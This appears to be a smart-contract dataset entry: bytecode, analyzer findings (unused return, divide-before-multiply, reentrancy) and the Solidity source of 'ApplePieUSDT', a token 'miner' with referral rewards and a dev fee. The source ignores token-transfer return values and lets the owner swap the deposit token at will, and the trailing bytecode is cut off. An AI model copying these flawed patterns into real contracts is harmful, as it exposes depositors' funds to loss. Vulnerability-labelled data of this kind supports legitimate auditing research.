ffff160217905550600680548061245357fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561249a565b8080600101915050612334565b507f0f5bb82176feb1b5e747e28471aa92156a04d9f3ab9f45f28e2d704232b93f756124c4612777565b82604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5050565b6000612506612777565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561262f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6126a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f53686f756c642062652076616c696420616464726573732e000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa09e630836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561272c57600080fd5b505af1158015612740573d6000803e3d6000fd5b505050506040513d602081101561275657600080fd5b810190808051906020019092919050505050919050565b6000600754905090565b600033905090565b60006127c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612921565b905092915050565b600061280b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129e1565b905092915050565b6000808314156128265760009050612893565b600082840290508284828161283757fe5b041461288e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b2e6021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015612917576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906129ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612993578082015181840152602081019050612978565b50505050905090810190601f1680156129c05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290612a8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a52578082015181840152602081019050612a37565b50505050905090810190601f168015612a7f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612a9957fe5b04905080915050939250505056fe556e7374616b6520616d6f756e742065786365656465647320746865207374616b656420616d6f756e742e72657761726420706572696f642073686f756c642062652061626f7665206d696e2072657761726420706572696f642e436c61696d20616d6f756e7420657863656564656473207468652070656e646e696720726577617264732e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7773746f72652077616c6c657420636f6e74726163742073686f756c64206e6f74206265207a65726f20616464726573732ea2646970667358221220f5cc920736777d2c60c2f547870a10cd8496c78b4cc20f31d416556d9ddb658864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,167 |
0x80ba0231ef8264467b38a7858672ef17664e43ae
|
/**
*Submitted for verification at Etherscan.io on 2022-05-01
*/
/**
*Submitted for verification at BscScan.com on 2021-11-06
*/
// SPDX-License-Identifier: MIT
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity 0.8.9;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ApplePieUSDT is Context, Ownable {
using SafeMath for uint256;
uint256 private Pies_TO_Oven_1MINERS = 86400;//for final version should be seconds in a day
uint256 private PSN = 10000;
uint256 private PSNH = 5000;
uint256 private devFeeVal = 4;
bool private initialized = false;
address private recAdd;
mapping (address => uint256) private ovenryMiners;
mapping (address => uint256) private claimedPies;
mapping (address => uint256) private lastOven;
mapping (address => address) private referrals;
uint256 private marketPie;
IERC20 public acceptingToken;
constructor(IERC20 _acceptingToken) {
recAdd = msg.sender;
acceptingToken = _acceptingToken;
}
function setAcceptingToken(IERC20 _acceptingToken) external onlyOwner {
acceptingToken = _acceptingToken;
}
function heatPie(address ref) public {
require(initialized, "not initialized");
if(ref == msg.sender) {
ref = address(0);
}
if(referrals[msg.sender] == address(0) && referrals[msg.sender] != msg.sender) {
referrals[msg.sender] = ref;
}
uint256 pieUsed = getMyPie(msg.sender);
uint256 newMiners = SafeMath.div(pieUsed,Pies_TO_Oven_1MINERS);
ovenryMiners[msg.sender] = SafeMath.add(ovenryMiners[msg.sender],newMiners);
claimedPies[msg.sender] = 0;
lastOven[msg.sender] = block.timestamp;
//send referral Pies
claimedPies[referrals[msg.sender]] = SafeMath.add(claimedPies[referrals[msg.sender]],SafeMath.div(pieUsed, 5));
//boost market to nerf miners hoarding
marketPie=SafeMath.add(marketPie,SafeMath.div(pieUsed,5));
}
function sellPies() public {
require(initialized, "not initialized");
uint256 hasPies = getMyPie(msg.sender);
uint256 pieValue = calculatePieSell(hasPies);
uint256 fee = devFee(pieValue);
claimedPies[msg.sender] = 0;
lastOven[msg.sender] = block.timestamp;
marketPie = SafeMath.add(marketPie,hasPies);
// recAdd.transfer(fee);
acceptingToken.transfer(recAdd, fee);
acceptingToken.transfer(msg.sender, SafeMath.sub(pieValue,fee));
// payable (msg.sender).transfer(SafeMath.sub(pieValue,fee));
}
function beanRewards(address adr) public view returns(uint256) {
uint256 hasPies = getMyPie(adr);
uint256 pieValue = calculatePieSell(hasPies);
return pieValue;
}
function ovenPie(address ref, uint256 amount) public{
require(initialized, "not initialized");
uint256 piesBought = calculatePieBuy(amount,SafeMath.sub(acceptingToken.balanceOf(address(this)),amount));
piesBought = SafeMath.sub(piesBought,devFee(piesBought));
uint256 fee = devFee(amount);
acceptingToken.transferFrom(msg.sender, address(this), amount- fee);
acceptingToken.transferFrom(msg.sender, recAdd, fee);
// recAdd.transfer(fee);
claimedPies[msg.sender] = SafeMath.add(claimedPies[msg.sender],piesBought);
heatPie(ref);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) private view returns(uint256) {
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH, SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
// ((PSN*bs)/(PSNH+(PSN+rs)/()))
// (PSN*bs)/(PSNH + ((PSN*rs) + (PSNH *rt)/rt))
}
function calculatePieSell(uint256 pies) public view returns(uint256) {
// return calculateTrade(pies,marketPie,address(this).balance);
return calculateTrade(pies,marketPie,acceptingToken.balanceOf(address(this)));
}
function calculatePieBuy(uint256 amount,uint256 contractBalance) public view returns(uint256) {
return calculateTrade(amount,contractBalance,marketPie);
}
function calculatePieBuySimple(uint256 amount) public view returns(uint256) {
// return calculatePieBuy(eth,address(this).balance);
return calculatePieBuy(amount, acceptingToken.balanceOf(address(this)));
}
function devFee(uint256 amount) private view returns(uint256) {
return SafeMath.div(SafeMath.mul(amount,devFeeVal),100);
}
function seedMarket(uint256 amount) public payable onlyOwner {
require(marketPie == 0, "pies");
initialized = true;
marketPie = 86400000000;
acceptingToken.transferFrom(msg.sender, address(this), amount);
}
function getBalance() public view returns(uint256) {
// return address(this).balance;
return acceptingToken.balanceOf(address(this));
}
function getMyMiners(address adr) public view returns(uint256) {
return ovenryMiners[adr];
}
function getMyPie(address adr) public view returns(uint256) {
return SafeMath.add(claimedPies[adr],getPieSinceLastOven(adr));
}
function getPieSinceLastOven(address adr) public view returns(uint256) {
uint256 secondsPassed=min(Pies_TO_Oven_1MINERS,SafeMath.sub(block.timestamp,lastOven[adr]));
return SafeMath.mul(secondsPassed,ovenryMiners[adr]);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
|
0x6080604052600436106100fe5760003560e01c80638996bb8411610095578063a507abee11610064578063a507abee14610312578063b9cc51301461034f578063d61fa39b1461038c578063dac7539e146103c9578063f2fde38b146103f4576100fe565b80638996bb841461026a5780638da5cb5b146102935780639046caee146102be5780639774cd49146102d5576100fe565b80633b8d5189116100d15780633b8d5189146101b05780634b634b06146101d9578063579b57cc14610216578063715018a614610253576100fe565b806312065fe0146101035780633907023f1461012e5780633b604e48146101575780633b65375514610194575b600080fd5b34801561010f57600080fd5b5061011861041d565b60405161012591906119af565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611a2d565b6104cf565b005b34801561016357600080fd5b5061017e60048036038101906101799190611a2d565b6109a8565b60405161018b91906119af565b60405180910390f35b6101ae60048036038101906101a99190611a86565b610a02565b005b3480156101bc57600080fd5b506101d760048036038101906101d29190611af1565b610bb8565b005b3480156101e557600080fd5b5061020060048036038101906101fb9190611a2d565b610c91565b60405161020d91906119af565b60405180910390f35b34801561022257600080fd5b5061023d60048036038101906102389190611a86565b610cda565b60405161024a91906119af565b60405180910390f35b34801561025f57600080fd5b50610268610d97565b005b34801561027657600080fd5b50610291600480360381019061028c9190611b1e565b610eea565b005b34801561029f57600080fd5b506102a8611247565b6040516102b59190611b6d565b60405180910390f35b3480156102ca57600080fd5b506102d3611270565b005b3480156102e157600080fd5b506102fc60048036038101906102f79190611b88565b611511565b60405161030991906119af565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190611a2d565b611528565b60405161034691906119af565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190611a86565b61154d565b60405161038391906119af565b60405180910390f35b34801561039857600080fd5b506103b360048036038101906103ae9190611a2d565b61160d565b6040516103c091906119af565b60405180910390f35b3480156103d557600080fd5b506103de6116b7565b6040516103eb9190611c27565b60405180910390f35b34801561040057600080fd5b5061041b60048036038101906104169190611a2d565b6116dd565b005b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161047a9190611b6d565b60206040518083038186803b15801561049257600080fd5b505afa1580156104a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ca9190611c57565b905090565b600560009054906101000a900460ff1661051e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051590611ce1565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561055757600090505b600073ffffffffffffffffffffffffffffffffffffffff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561067d57503373ffffffffffffffffffffffffffffffffffffffff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156107015780600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600061070c336109a8565b9050600061071c8260015461177e565b9050610767600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611794565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e560076000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108e084600561177e565b611794565b60076000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099d600a5461099884600561177e565b611794565b600a81905550505050565b60006109fb600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109f68461160d565b611794565b9050919050565b610a0a6117aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e90611d4d565b60405180910390fd5b6000600a5414610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad390611db9565b60405180910390fd5b6001600560006101000a81548160ff02191690831515021790555064141dd76000600a81905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401610b6293929190611dd9565b602060405180830381600087803b158015610b7c57600080fd5b505af1158015610b90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb49190611e48565b5050565b610bc06117aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4490611d4d565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610d9082600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d3b9190611b6d565b60206040518083038186803b158015610d5357600080fd5b505afa158015610d67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8b9190611c57565b611511565b9050919050565b610d9f6117aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611d4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560009054906101000a900460ff16610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3090611ce1565b60405180910390fd5b6000610ff882610ff3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f9d9190611b6d565b60206040518083038186803b158015610fb557600080fd5b505afa158015610fc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fed9190611c57565b856117b2565b611511565b905061100c81611007836117c8565b6117b2565b90506000611019836117c8565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd333084876110679190611ea4565b6040518463ffffffff1660e01b815260040161108593929190611dd9565b602060405180830381600087803b15801561109f57600080fd5b505af11580156110b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d79190611e48565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b815260040161115993929190611dd9565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab9190611e48565b506111f5600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611794565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611241846104cf565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560009054906101000a900460ff166112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b690611ce1565b60405180910390fd5b60006112ca336109a8565b905060006112d78261154d565b905060006112e4826117c8565b90506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061137b600a5484611794565b600a81905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401611400929190611ed8565b602060405180830381600087803b15801561141a57600080fd5b505af115801561142e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114529190611e48565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3361149c85856117b2565b6040518363ffffffff1660e01b81526004016114b9929190611ed8565b602060405180830381600087803b1580156114d357600080fd5b505af11580156114e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150b9190611e48565b50505050565b60006115208383600a546117e7565b905092915050565b600080611534836109a8565b905060006115418261154d565b90508092505050919050565b600061160682600a54600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016115b19190611b6d565b60206040518083038186803b1580156115c957600080fd5b505afa1580156115dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116019190611c57565b6117e7565b9050919050565b60008061166460015461165f42600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b2565b61183a565b90506116af81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611853565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116e56117aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611772576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176990611d4d565b60405180910390fd5b61177b81611869565b50565b6000818361178c9190611f30565b905092915050565b600081836117a29190611f61565b905092915050565b600033905090565b600081836117c09190611ea4565b905092915050565b60006117e06117d983600454611853565b606461177e565b9050919050565b60006118316117f860025484611853565b61182c6003546118276118216118106002548a611853565b61181c6003548c611853565b611794565b8961177e565b611794565b61177e565b90509392505050565b6000818310611849578161184b565b825b905092915050565b600081836118619190611fb7565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d090612083565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000819050919050565b6119a981611996565b82525050565b60006020820190506119c460008301846119a0565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119fa826119cf565b9050919050565b611a0a816119ef565b8114611a1557600080fd5b50565b600081359050611a2781611a01565b92915050565b600060208284031215611a4357611a426119ca565b5b6000611a5184828501611a18565b91505092915050565b611a6381611996565b8114611a6e57600080fd5b50565b600081359050611a8081611a5a565b92915050565b600060208284031215611a9c57611a9b6119ca565b5b6000611aaa84828501611a71565b91505092915050565b6000611abe826119ef565b9050919050565b611ace81611ab3565b8114611ad957600080fd5b50565b600081359050611aeb81611ac5565b92915050565b600060208284031215611b0757611b066119ca565b5b6000611b1584828501611adc565b91505092915050565b60008060408385031215611b3557611b346119ca565b5b6000611b4385828601611a18565b9250506020611b5485828601611a71565b9150509250929050565b611b67816119ef565b82525050565b6000602082019050611b826000830184611b5e565b92915050565b60008060408385031215611b9f57611b9e6119ca565b5b6000611bad85828601611a71565b9250506020611bbe85828601611a71565b9150509250929050565b6000819050919050565b6000611bed611be8611be3846119cf565b611bc8565b6119cf565b9050919050565b6000611bff82611bd2565b9050919050565b6000611c1182611bf4565b9050919050565b611c2181611c06565b82525050565b6000602082019050611c3c6000830184611c18565b92915050565b600081519050611c5181611a5a565b92915050565b600060208284031215611c6d57611c6c6119ca565b5b6000611c7b84828501611c42565b91505092915050565b600082825260208201905092915050565b7f6e6f7420696e697469616c697a65640000000000000000000000000000000000600082015250565b6000611ccb600f83611c84565b9150611cd682611c95565b602082019050919050565b60006020820190508181036000830152611cfa81611cbe565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d37602083611c84565b9150611d4282611d01565b602082019050919050565b60006020820190508181036000830152611d6681611d2a565b9050919050565b7f7069657300000000000000000000000000000000000000000000000000000000600082015250565b6000611da3600483611c84565b9150611dae82611d6d565b602082019050919050565b60006020820190508181036000830152611dd281611d96565b9050919050565b6000606082019050611dee6000830186611b5e565b611dfb6020830185611b5e565b611e0860408301846119a0565b949350505050565b60008115159050919050565b611e2581611e10565b8114611e3057600080fd5b50565b600081519050611e4281611e1c565b92915050565b600060208284031215611e5e57611e5d6119ca565b5b6000611e6c84828501611e33565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611eaf82611996565b9150611eba83611996565b925082821015611ecd57611ecc611e75565b5b828203905092915050565b6000604082019050611eed6000830185611b5e565b611efa60208301846119a0565b9392505050565b7f4e487b7100000000000000000000000000000000000000